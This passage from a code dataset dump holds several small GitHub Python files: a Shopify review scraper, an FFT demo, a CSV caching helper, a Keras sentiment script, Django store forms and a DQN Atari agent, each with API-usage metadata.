"numpy.matrix.round", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 12, "usage_type": "attribute"}, {"api_name": "keras.preprocessing.text.text_to_word_sequence", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 29, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 42, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 44, "usage_type": "call"}, {"api_name": "densesubgraphfinder.DenseSubgraphFinder", "line_number": 50, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 68, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 79, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 91, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.DictVectorizer", "line_number": 116, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 120, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 125, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.DictVectorizer", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 144, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 154, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 160, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 162, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 188, "usage_type": "call"}]} +{"seq_id": "12343113611", "text": "from bs4 import BeautifulSoup\r\nimport requests\r\ndef title_find(mes):\r\n numbers = mes\r\n url = 'https://apps.shopify.com/klaviyo-email-marketing/reviews?page='+numbers+'&rating=5'\r\n page = requests.get(url)\r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n Title = soup.find_all('h3',class_='review-listing-header__text') \r\n for i in Title:\r\n print(i.text)\r\n #print(page.prettify)\r\nnumber=1\r\nwhile number <2:\r\n title_find(number)\r\n number=number+1", "repo_name": "manivannant24/leadgenerationpythonfiles", "sub_path": "t.py", "file_name": "t.py", "file_ext": "py", "file_size_in_byte": 483, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "21705725769", "text": "''' dft test\n https://www.oreilly.com/library/view/elegant-scipy/9781491922927/ch04.html\n'''\n\nfrom scipy import fftpack\n#import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n# pylint: disable=unused-variable\n\ndef main():\n ''' main '''\n plt.style.use('dark_background')\n\n f = 10 # Frequency, in cycles per second, or Hertz\n f_s = 50 # Sampling rate, or number of measurements per second\n\n t = np.linspace(0, 2, 2 * f_s, endpoint=False)\n x = np.sin(f * 2 * np.pi * t)\n\n fig, ax = plt.subplots()\n ax.plot(t, x)\n ax.set_xlabel('Time [s]')\n ax.set_ylabel('Signal amplitude')\n #plt.show()\n\n print(\"do FFT\")\n X = fftpack.fft(x)\n freqs = fftpack.fftfreq(len(x)) * f_s\n\n # if not require_python_version(3, 6):\n # # explicitly assign TkAgg, default maybe Qt\n # matplotlib.use('TkAgg')\n\n fig, ax = plt.subplots()\n ax.stem(freqs, np.abs(X), use_line_collection=True)\n ax.set_xlabel('Frequency in Hertz [Hz]')\n ax.set_ylabel('Frequency Domain (Spectrum) Magnitude')\n ax.set_xlim(-f_s / 2, f_s / 2)\n ax.set_ylim(-5, 110)\n plt.show()\n\nif __name__ == '__main__':\n main()\n", "repo_name": "ericosur/ericosur-snippet", "sub_path": "python3/fft/dft2.py", "file_name": "dft2.py", "file_ext": "py", "file_size_in_byte": 1161, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 15, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 21, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "scipy.fftpack.fft", "line_number": 30, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 30, "usage_type": "name"}, {"api_name": "scipy.fftpack.fftfreq", "line_number": 31, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}]} +{"seq_id": "20300348811", "text": "# -*- coding: utf-8; py-indent-offset:4 -*-\n\nimport os\nimport time\nimport datetime as dt\nimport pandas as pd\n\nfrom ..utils import get_file_modify_time, datetime_today, symbol_normalize, symbol_market, dict_from_df\n\nfrom ..data_source import *\n\ndef get_cached_download_df(csv_file, download_func, param = None, check_date = None):\n if type(param) == str:\n csv_file = csv_file.replace('{param}', param)\n\n # like ^GSPC.csv, will cause trouble when manually delete\n csv_file = csv_file.replace('^','_').replace('$','_')\n\n need_update = False\n if os.path.isfile(csv_file):\n if check_date is not None:\n modified_time = get_file_modify_time(csv_file)\n need_update = modified_time < check_date\n else:\n need_update = False\n else:\n need_update = True\n\n if need_update:\n for i in range(3):\n try:\n df = download_func(param)\n except (ValueError, IndexError) as err:\n _DOWNLOAD_RETRY_DELAY = 300\n print('downloading failed, try again after {} min'.format(_DOWNLOAD_RETRY_DELAY // 60))\n time.sleep(_DOWNLOAD_RETRY_DELAY)\n df = None\n\n if df is not None:\n df.to_csv(csv_file, index= bool(df.index.name))\n return df\n\n if df is None:\n print('downloading failed after 3 tries, loading cached data')\n\n df = pd.read_csv(csv_file, dtype=str)\n return df\n\ndef get_cn_fund_list():\n return get_cached_download_df('cache/cn_fund_list.csv', download_cn_fund_list, check_date= datetime_today())\n", "repo_name": "floatinghotpot/chinafund", "sub_path": "chinafund/core/data_cache.py", "file_name": "data_cache.py", "file_ext": "py", "file_size_in_byte": 1619, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.isfile", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "utils.get_file_modify_time", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 46, "usage_type": "call"}, {"api_name": "utils.datetime_today", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "33842007782", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 24 17:47:57 2017\n\n@author: abhijeet\n\"\"\"\n\nimport json\nimport numpy as np\nimport keras.preprocessing.text as kpt\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.models import model_from_json\nimport pandas as pd\n\ndef convert_text_to_index_array(text):\n words = kpt.text_to_word_sequence(text)\n wordIndices = []\n for word in words:\n if word in dictionary:\n wordIndices.append(dictionary[word])\n return wordIndices\n\n# Load the dictionary\nlabels = ['happy','not_happy']\nwith open('dictionary.json', 'r') as dictionary_file:\n dictionary = json.load(dictionary_file)\n\n# Load trained model\njson_file = open('model.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nmodel = model_from_json(loaded_model_json)\nmodel.load_weights('model.h5')\n\ntestset = pd.read_csv(\"./test.csv\") \ncLen = len(testset['Description'])\ntokenizer = Tokenizer(num_words=10000)\n\n# Predict happiness for each review in test.csv\ny_pred = [] \nfor i in range(0,cLen):\n review = testset['Description'][i]\n testArr = convert_text_to_index_array(review) \n input = tokenizer.sequences_to_matrix([testArr], mode='binary')\n pred = model.predict(input)\n #print pred[0][np.argmax(pred)] * 100, labels[np.argmax(pred)]\n y_pred.append(labels[np.argmax(pred)])\n\n\n# Write the results in submission csv file\nraw_data = {'User_ID': testset['User_ID'], \n 'Is_Response': y_pred}\ndf = pd.DataFrame(raw_data, columns = ['User_ID', 'Is_Response'])\ndf.to_csv('submission_model1.csv', sep=',',index=False)", "repo_name": "abhijeet3922/Predict-the-Happiness-HackerEarth-Challenge", "sub_path": "sentiment_detector_review.py", "file_name": "sentiment_detector_review.py", "file_ext": "py", "file_size_in_byte": 1605, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "16", "api": [{"api_name": "keras.preprocessing.text.text_to_word_sequence", "line_number": 17, "usage_type": "call"}, {"api_name": "keras.preprocessing.text", "line_number": 17, "usage_type": "name"}, {"api_name": "json.load", "line_number": 27, "usage_type": "call"}, {"api_name": "keras.models.model_from_json", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.preprocessing.text.Tokenizer", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "30078792018", "text": "# groupby => grouping values\n\nfrom itertools import groupby\nfrom copy import deepcopy\n\nstudents = [\n {'name': 'Levi', 'grade': 'A'},\n {'name': 'Breno', 'grade': 'C'},\n {'name': 'Luzia', 'grade': 'C'},\n {'name': 'Pedro', 'grade': 'B'},\n {'name': 'Eduarda', 'grade': 'B'},\n {'name': 'Vitoria', 'grade': 'A'},\n {'name': 'Anne', 'grade': 'A'},\n {'name': 'VitoriaK', 'grade': 'C'},\n {'name': 'Matheus', 'grade': 'C'},\n {'name': 'Eric', 'grade': 'C'},\n {'name': 'Rian', 'grade': 'E'},\n]\n\ndef sort(student):\n return student['grade']\n\nsorted_students = deepcopy(sorted(students, key=sort))\ngroups = groupby(sorted_students, key=sort)\n\nfor key, group in groups:\n print(key)\n for student in group:\n print(student)\n", "repo_name": "LevideAlmeida/PythonProject", "sub_path": "itertools_module/Groupby.py", "file_name": "Groupby.py", "file_ext": "py", "file_size_in_byte": 753, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "copy.deepcopy", "line_number": 23, "usage_type": "call"}, {"api_name": "itertools.groupby", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "27176031668", "text": "# model is in store so we can import this to userprofile\n\nfrom django import forms\n\nfrom .models import Product, Order, Category, VendorMessage\nfrom core.models import Contact\n\n\n\n\nclass OrderForm(forms.ModelForm):\n full_name = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'First Name'}))\n email = forms.EmailField(widget=forms.EmailInput(attrs={'class': 'form-control', 'placeholder': 'Email'}))\n mobile = forms.IntegerField(widget=forms.NumberInput(attrs={'class': 'form-control', 'placeholder': 'Mobile'}))\n address = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Address'}))\n \n class Meta:\n model = Order\n fields = ('full_name', 'email', 'mobile', 'address',)\n\n\nclass ProductForm(forms.ModelForm):\n class ProductForm():\n category = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Category'}))\n title = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Product Title'}))\n digital_product = forms.FileField(widget=forms.FileInput(attrs={'class': 'form-control', 'placeholder': 'Upload digital asset here'}))\n image = forms.ImageField(widget= forms.FileInput(attrs={'class': 'form-control', 'placeholder': 'Upload image here', 'label' : 'image'}))\n video = forms.FileField(widget=forms.FileInput(attrs={'class': 'form-control', 'placeholder': 'Upload video here'}))\n description = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Enter description here'}))\n price = forms.IntegerField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Enter price'}))\n discount_price = forms.IntegerField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Enter discount price'}))\n quantity = forms.IntegerField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Enter quantity'}))\n \n class Meta:\n model = Product\n fields = ['category', 'title', 'digital_product', 'image', 'video', 'description', 'price', 'discount_price', 'quantity']\n\n\n\nclass MessageSellerForm(forms.ModelForm):\n class Meta:\n model = VendorMessage\n fields = ['name', 'email', 'subject', 'message']\n widgets = {\n 'name': forms.TextInput(attrs={'placeholder': 'Full name'}),\n 'email': forms.EmailInput(attrs={'placeholder': 'Email address'}),\n 'subject': forms.TextInput(attrs={'placeholder': 'Subject '}),\n 'message': forms.Textarea(attrs={'placeholder': 'Your query about product ...'}),\n }\n\n def clean_subject(self):\n return \"Query about product %s\" % self.cleaned_data['subject']\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "aioont/digital_product_ecommerce", "sub_path": "store/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 2827, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.forms.ModelForm", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 11, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 12, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 12, "usage_type": "call"}, {"api_name": "django.forms.EmailField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}, {"api_name": "django.forms.EmailInput", "line_number": 13, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 14, "usage_type": "name"}, {"api_name": "django.forms.NumberInput", "line_number": 14, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 15, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 15, "usage_type": "call"}, {"api_name": "models.Order", "line_number": 18, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 22, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 24, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 24, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 25, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 25, "usage_type": "call"}, {"api_name": "django.forms.FileField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 26, "usage_type": "name"}, {"api_name": "django.forms.FileInput", "line_number": 26, "usage_type": "call"}, {"api_name": "django.forms.ImageField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 27, "usage_type": "name"}, {"api_name": "django.forms.FileInput", "line_number": 27, "usage_type": "call"}, {"api_name": "django.forms.FileField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 28, "usage_type": "name"}, {"api_name": "django.forms.FileInput", "line_number": 28, "usage_type": "call"}, {"api_name": "django.forms.CharField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 29, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 29, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 30, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 30, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 31, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 31, "usage_type": "call"}, {"api_name": "django.forms.IntegerField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 32, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 32, "usage_type": "call"}, {"api_name": "models.Product", "line_number": 35, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 40, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 40, "usage_type": "name"}, {"api_name": "models.VendorMessage", "line_number": 42, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 45, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 45, "usage_type": "name"}, {"api_name": "django.forms.EmailInput", "line_number": 46, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 46, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 47, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 47, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 48, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 48, "usage_type": "name"}]} +{"seq_id": "42958377523", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport random\nimport numpy as np\nfrom collections import deque\nimport os\nimport sys\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch import tensor\n\nfrom agent import Agent\nfrom dqn_model import DQN\n\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torch.autograd import Variable\n\ntorch.manual_seed(595)\nnp.random.seed(595)\nrandom.seed(595)\n\n\nclass Agent_DQN(Agent):\n def __init__(self, env, args):\n \"\"\"\n Initialize everything you need here.\n For example: \n paramters for neural network \n initialize Q net and target Q net\n parameters for repaly buffer\n parameters for q-learning; decaying epsilon-greedy\n ...\n \"\"\"\n\n super(Agent_DQN,self).__init__(env)\n torch.set_default_tensor_type('torch.cuda.FloatTensor' if torch.cuda.is_available() else 'torch.FloatTensor')\n \n # general parameters\n self.is_cuda_available = torch.cuda.is_available()\n self.device = torch.device(\"cuda\" if self.is_cuda_available else \"cpu\")\n self.step = 0\n self.run_name = 'dqn_model'\n self.model_save_path = 'models'\n self.model_save_interval = 500\n self.log_path = 'train_log.out'\n self.tensorboard_summary_path = 'tensorboard_summary'\n \n # Environment and network parameters\n self.env = env\n self.num_actions = env.action_space.n\n self.action_list = np.arange(self.num_actions)\n self.metrics_capture_window = args.metrics_capture_window\n self.replay_buffer_size = args.replay_buffer_size\n self.replay_memory = deque([], self.replay_buffer_size)\n self.position = 0\n self.total_num_steps = args.total_num_steps\n self.episodes = args.episodes\n self.gamma = args.gamma\n self.learning_rate = args.learning_rate\n self.initial_epsilon = args.initial_epsilon\n self.final_epsilon = args.final_epsilon\n self.epsilon = self.initial_epsilon\n self.steps_to_explore = args.steps_to_explore\n self.epsilon_step = (self.initial_epsilon - self.final_epsilon) / self.steps_to_explore\n self.network_update_interval = args.network_update_interval\n self.network_train_interval = args.network_train_interval\n self.last_n_rewards = deque([], self.metrics_capture_window)\n self.start_to_learn = args.start_to_learn\n self.ddqn = args.ddqn\n\n self.batch_size = args.batch_size\n self.q_network = DQN().to(self.device)\n self.target_q_network = DQN().to(self.device)\n self.loss_function = F.smooth_l1_loss\n self.optimiser = optim.Adam(self.q_network.parameters(), lr = args.learning_rate)\n self.probability_list = np.zeros(env.action_space.n, np.float32)\n self.q_network.train()\n self.target_q_network.eval()\n self.mode = \"Random\"\n self.state_counter_while_testing = 0\n self.model_test_path=args.model_test_path\n\n # create necessary paths\n self.create_dirs()\n # self.q_network.load_state_dict(torch.load(\"dqn_model_34500.pt\", map_location=self.device))\n # test mode\n if args.test_dqn:\n print('loading trained model')\n self.q_network.load_state_dict(torch.load(self.model_test_path, map_location=self.device))\n\n self.log_file = open(self.model_save_path + '/' + self.run_name + '.log', 'w') if not args.test_dqn else None\n\n # Set target_q_network weight\n self.target_q_network.load_state_dict(self.q_network.state_dict())\n\n self.writer = SummaryWriter(args.tensorboard_summary_path)\n \n\n def create_dirs(self):\n paths = [self.model_save_path, self.tensorboard_summary_path]\n [os.makedirs(path) for path in paths if not os.path.exists(path)]\n \n \n def init_game_setting(self):\n \"\"\"\n Testing function will call this function at the begining of new game\n Put anything you want to initialize if necessary.\n If no parameters need to be initialized, you can leave it as blank.\n \"\"\"\n self.state_counter_while_testing += 1\n \n \n def make_action(self, observation, state_count=0, test=True):\n \"\"\"\n Return predicted action of your agent\n Input:\n observation: np.array\n stack 4 last preprocessed frames, shape: (84, 84, 4)\n Return:\n action: int\n the predicted action from trained model\n \"\"\"\n self.init_game_setting()\n with torch.no_grad():\n if test:\n observation = torch.reshape(tensor(observation, dtype=torch.float32), [1, 84, 84, 4]).permute(0, 3, 1, 2).to(self.device)\n if state_count < 5000:\n action = torch.argmax(self.q_network(tensor(observation).float()).detach())\n return action.item()\n else:\n return np.random.choice(range(self.num_actions))\n\n # Fill up probability list equal for all actions\n self.probability_list.fill(self.epsilon / self.num_actions)\n \n # Fetch q from the model prediction\n q, argq = self.q_network(tensor(observation).float()).data.cpu().max(1)\n \n # Increase the probability for the selected best action\n self.probability_list[argq[0].item()] += 1 - self.epsilon\n \n # Use random choice to decide between a random action / best action\n action = torch.tensor([np.random.choice(self.action_list, p=self.probability_list)])\n \n return action.item(), q\n\n \n def push(self, transition_tuple):\n \"\"\" You can add additional arguments as you need. \n Push new data to buffer and remove the old one if the buffer is full.\n \n Hints:\n -----\n you can consider deque(maxlen = 10000) list\n \"\"\"\n self.replay_memory.appendleft(transition_tuple)\n \n \n def replay_buffer(self):\n \"\"\" You can add additional arguments as you need.\n Select batch from buffer.\n \"\"\"\n # Sample random minibatch of transition from replay memory\n minibatch = random.sample(self.replay_memory, self.batch_size)\n return minibatch\n \n \n def optimize_network(self):\n # Sample random minibatch of transition from replay memory\n minibatch = self.replay_buffer()\n state_batch, action_batch, reward_batch, next_state_batch, terminal_batch = map(lambda x: Variable(torch.cat(x, 0)), zip(*minibatch))\n state_batch, reward_batch, next_state_batch = state_batch.float(), reward_batch.float(), next_state_batch.float()\n \n q_values = self.q_network(state_batch).gather(1, action_batch.unsqueeze(1)).squeeze(1)\n target_values = self.target_q_network(next_state_batch)\n \n if self.ddqn:\n best_actions = torch.argmax(self.q_network(next_state_batch), dim=-1)\n target_values = target_values.gather(1, tensor(best_actions).unsqueeze(1)).squeeze(1)\n else:\n target_values = target_values.max(1)[0].squeeze(0)\n\n target_values = target_values * self.gamma * (1 - terminal_batch)\n\n loss = self.loss_function(q_values, reward_batch + target_values)\n self.optimiser.zero_grad()\n loss.backward()\n for param in self.q_network.parameters():\n param.grad.data.clamp_(-1, 1)\n self.optimiser.step()\n return loss.cpu().detach().numpy()\n \n\n def log_summary(self, global_step, episode_loss, episode_reward):\n self.writer.add_scalar('Train/Episode Reward', sum(episode_reward), global_step)\n self.writer.add_scalar('Train/Average Loss', np.mean(episode_loss), global_step)\n self.writer.add_scalar('Train/Average reward(100)', np.mean(self.last_n_rewards), global_step)\n self.writer.flush()\n \n \n def train(self):\n \"\"\"\n Implement your training algorithm here\n \"\"\"\n for episode in range(self.episodes):\n state = self.env.reset()\n state = torch.reshape(tensor(state, dtype=torch.float32), [1, 84, 84, 4]).permute(0, 3, 1, 2).to(self.device)\n done = False\n episode_reward = []\n episode_loss = []\n\n # save network\n if episode % self.model_save_interval == 0:\n save_path = self.model_save_path + '/' + self.run_name + '_' + str(episode) + '.pt'\n torch.save(self.q_network.state_dict(), save_path)\n print('Successfully saved: ' + save_path)\n\n while not done:\n\n # update target network\n if self.step % self.network_update_interval == 0:\n print('Updating target network')\n self.target_q_network.load_state_dict(self.q_network.state_dict())\n\n if self.step > len(self.replay_memory):\n self.epsilon = max(self.final_epsilon, self.initial_epsilon - self.epsilon_step * self.step)\n if self.epsilon > self.final_epsilon:\n self.mode = 'Explore'\n else:\n self.mode = 'Exploit'\n\n action, q = self.make_action(state, 0, test = False)\n next_state, reward, done, _ = self.env.step(action)\n\n next_state = torch.reshape(tensor(next_state, dtype=torch.float32), [1, 84, 84, 4]).permute(0, 3, 1, 2).to(self.device)\n \n self.push((state, torch.tensor([int(action)]), torch.tensor([reward], device=self.device), next_state, torch.tensor([done], dtype=torch.float32)))\n \n episode_reward.append(reward)\n \n self.step += 1\n \n state = next_state\n\n # train network\n if self.step >= self.start_to_learn and self.step % self.network_train_interval == 0:\n loss = self.optimize_network()\n episode_loss.append(loss)\n\n if done:\n print('Episode:', episode, ' | Steps:', self.step, ' | Eps: ', self.epsilon, ' | Reward: ',\n sum(episode_reward),\n ' | Avg Reward: ', np.mean(self.last_n_rewards), ' | Loss: ',\n np.mean(episode_loss), ' | Mode: ', self.mode)\n print('Episode:', episode, ' | Steps:', self.step, ' | Eps: ', self.epsilon, ' | Reward: ',\n sum(episode_reward),\n ' | Avg Reward: ', np.mean(self.last_n_rewards), ' | Loss: ',\n np.mean(episode_loss), ' | Mode: ', self.mode, file=self.log_file)\n self.log_summary(episode, episode_loss, episode_reward)\n self.last_n_rewards.append(sum(episode_reward))\n episode_reward.clear()\n episode_loss.clear()\n", "repo_name": "jidnyesha-patil/DQN_RL", "sub_path": "agent_dqn.py", "file_name": "agent_dqn.py", "file_ext": "py", "file_size_in_byte": 11133, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.manual_seed", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 21, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 22, "usage_type": "call"}, {"api_name": "agent.Agent", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.set_default_tensor_type", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 53, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 56, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 69, "usage_type": "call"}, {"api_name": "dqn_model.DQN", "line_number": 74, "usage_type": "call"}, {"api_name": "dqn_model.DQN", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn.functional.smooth_l1_loss", "line_number": 76, "usage_type": "attribute"}, {"api_name": "torch.nn.functional", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 78, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 98, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 128, "usage_type": "attribute"}, {"api_name": "torch.argmax", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 133, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 145, "usage_type": "attribute"}, {"api_name": "random.sample", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.argmax", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 199, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 209, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 217, "usage_type": "call"}, {"api_name": "torch.reshape", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 237, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 239, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 239, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 259, "usage_type": "call"}, {"api_name": 